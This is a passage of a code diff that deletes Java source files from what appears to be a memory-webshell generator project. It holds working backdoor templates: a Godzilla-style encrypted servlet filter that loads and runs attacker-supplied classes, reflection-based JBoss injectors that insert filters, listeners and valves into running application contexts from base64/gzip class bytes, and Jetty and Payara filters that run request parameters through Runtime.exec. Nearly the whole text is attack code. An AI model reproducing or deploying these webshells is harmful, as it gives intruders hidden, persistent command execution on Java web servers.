private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class valveClass;
|
||||
String valveClassName = "org.apache.catalina.Valve";
|
||||
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5 的 Class Loader 问题
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
catalinaLoader = thread.getContextClassLoader();
|
||||
break;
|
||||
}
|
||||
}
|
||||
return catalinaLoader;
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.jboss.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-226
@@ -1,226 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.jboss.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossFilterInjector {
|
||||
|
||||
static {
|
||||
new JbossFilterInjector();
|
||||
}
|
||||
|
||||
public JbossFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
String filterClassName = getClassName();
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
constructors[0].setAccessible(true);
|
||||
try {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
// 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
|
||||
if (!(e.getCause() instanceof ClassNotFoundException)) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
-228
@@ -1,228 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.jboss.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossListenerInjector {
|
||||
|
||||
static {
|
||||
new JbossListenerInjector();
|
||||
}
|
||||
|
||||
public JbossListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!this.isInjected(context, this.getClassName())) {
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFV(context, filedName);
|
||||
if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFV(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.jetty.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
